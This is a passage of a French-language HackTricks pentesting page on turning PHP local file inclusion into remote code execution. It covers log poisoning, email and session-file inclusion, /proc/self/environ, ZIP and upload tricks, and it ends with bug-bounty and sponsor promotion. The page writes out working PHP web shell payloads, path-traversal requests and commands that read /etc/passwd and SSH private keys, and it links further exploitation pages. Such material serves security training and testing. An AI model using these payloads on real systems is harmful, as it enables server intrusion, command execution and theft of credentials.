Assurez-vous également d'**écrire correctement la charge utile** ou PHP générera une erreur à chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième chance.
|
|
{% endhint %}
|
|
|
|
Cela peut également être fait dans d'autres journaux, mais **soyez prudent**, le code à l'intérieur des journaux peut être encodé en URL et cela peut détruire la coquille. L'en-tête **authorisation "basic"** contient "utilisateur: mot de passe" en Base64 et il est décodé à l'intérieur des journaux. La coquille PHP peut être insérée à l'intérieur de cet en-tête.\
|
|
Autres chemins de journal possibles :
|
|
```python
|
|
/var/log/apache2/access.log
|
|
/var/log/apache/access.log
|
|
/var/log/apache2/error.log
|
|
/var/log/apache/error.log
|
|
/usr/local/apache/log/error_log
|
|
/usr/local/apache2/log/error_log
|
|
/var/log/nginx/access.log
|
|
/var/log/nginx/error.log
|
|
/var/log/httpd/error_log
|
|
```
|
|
Liste de mots pour le fuzzing : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
|
|
|
### Via Email
|
|
|
|
**Envoyez un courrier électronique** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez de l'inclure dans le courrier de l'utilisateur avec un chemin comme **`/var/mail/<NOM_UTILISATEUR>`** ou **`/var/spool/mail/<NOM_UTILISATEUR>`**
|
|
|
|
### Via /proc/\*/fd/\*
|
|
|
|
1. Téléchargez de nombreux shells (par exemple : 100)
|
|
2. Incluez [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être obtenu par force brute) et $FD le descripteur de fichier (peut également être obtenu par force brute)
|
|
|
|
### Via /proc/self/environ
|
|
|
|
Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée dans le fichier /proc/self/environ
|
|
```
|
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
|
User-Agent: <?=phpinfo(); ?>
|
|
```
|
|
### Via téléchargement
|
|
|
|
Si vous pouvez télécharger un fichier, injectez simplement la charge utile de l'interpréteur de commandes dedans (par exemple : `<?php system($_GET['c']); ?>`).
|
|
```
|
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
|
```
|
|
Pour maintenir la lisibilité du fichier, il est préférable d'injecter dans les métadonnées des images/doc/pdf.
|
|
|
|
### Via l'envoi de fichier ZIP
|
|
|
|
Téléchargez un fichier ZIP contenant une coquille PHP compressée et accédez-y :
|
|
```python
|
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
|
```
|
|
### Via les sessions PHP
|
|
|
|
Vérifiez si le site web utilise les sessions PHP (PHPSESSID)
|
|
```
|
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
|
```
|
|
En PHP, ces sessions sont stockées dans des fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
|
```
|
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
|
```
|
|
Définissez le cookie sur `<?php system('cat /etc/passwd');?>`
|
|
```
|
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
|
```
|
|
Utilisez la LFI pour inclure le fichier de session PHP
|
|
```
|
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
|
```
|
|
### Via ssh
|
|
|
|
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\<HOME>/.ssh/id\_rsa**
|
|
|
|
### **Via** **logs** **vsftpd**
|
|
|
|
Les journaux de ce serveur FTP sont stockés dans _**/var/log/vsftpd.log.**_ Si vous avez une LFI et pouvez accéder à un serveur vsftpd exposé, vous pouvez essayer de vous connecter en définissant la charge utile PHP dans le nom d'utilisateur, puis accéder aux journaux en utilisant la LFI.
|
|
|
|
### Via les filtres php (aucun fichier nécessaire)
|
|
|
|
Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser les **filtres php pour générer un contenu arbitraire** en sortie. Cela signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
|
|
|
|
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
|
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via une erreur de segmentation
|
|
|
|
**Téléchargez** un fichier qui sera stocké temporairement dans `/tmp`, puis dans la **même requête**, déclenchez une **erreur de segmentation**, et ensuite le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher.
|
|
|
|
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
|
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via le stockage temporaire des fichiers Nginx
|
|
|
|
Si vous avez trouvé une **inclusion de fichier local** et que **Nginx** est en cours d'exécution devant PHP, vous pourriez obtenir une RCE avec la technique suivante :
|
|
|
|
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
|
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
|
|
|
|
Si vous avez trouvé une **inclusion de fichier local**, même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **multipart POST**, PHP **activera la session pour vous**. Vous pouvez exploiter cela pour obtenir une RCE :
|
|
|
|
{% content-ref url="via-php_session_upload_progress.md" %}
|
|
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via les téléchargements de fichiers temporaires sous Windows
|
|
|
|
Si vous avez trouvé une **inclusion de fichier local** et que le serveur fonctionne sous **Windows**, vous pourriez obtenir une RCE :
|
|
|
|
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
|
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via phpinfo() (file\_uploads = on)
|
|
|
|
Si vous avez trouvé une **inclusion de fichier local** et qu'un fichier expose **phpinfo()** avec file\_uploads = on, vous pouvez obtenir une RCE :
|
|
|
|
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
|
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + divulgation de chemin
|
|
|
|
Si vous avez trouvé une **inclusion de fichier local** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** vérifie si le **fichier à inclure contient des marques PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **condition de course** :
|
|
|
|
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
|
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via une attente éternelle + force brute
|
|
|
|
Si vous pouvez exploiter la LFI pour **télécharger des fichiers temporaires** et faire **suspension** de l'exécution PHP du serveur, vous pouvez ensuite **forcer la recherche de noms de fichiers pendant des heures** pour trouver le fichier temporaire :
|
|
|
|
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
|
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Pour une erreur fatale
|
|
|
|
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même fichier 2 fois pour provoquer cette erreur).
|
|
|
|
**Je ne sais pas à quoi cela peut servir, mais cela pourrait être utile.**\
|
|
_Même si vous provoquez une erreur fatale de PHP, les fichiers temporaires PHP téléchargés sont supprimés._
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Références
|
|
|
|
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
|
|
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
|
|
|
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**HackenProof est la plateforme des primes de bugs cryptographiques.**
|
|
|
|
**Obtenez des récompenses sans délai**\
|
|
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bogue.
|
|
|
|
**Acquérez de l'expérience en pentest web3**\
|
|
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 à ses débuts.
|
|
|
|
**Devenez une légende du hacking web3**\
|
|
Gagnez des points de réputation avec chaque bogue vérifié et conquérez le sommet du classement hebdomadaire.
|
|
|
|
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
|
|
|
|
{% embed url="https://hackenproof.com/register" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|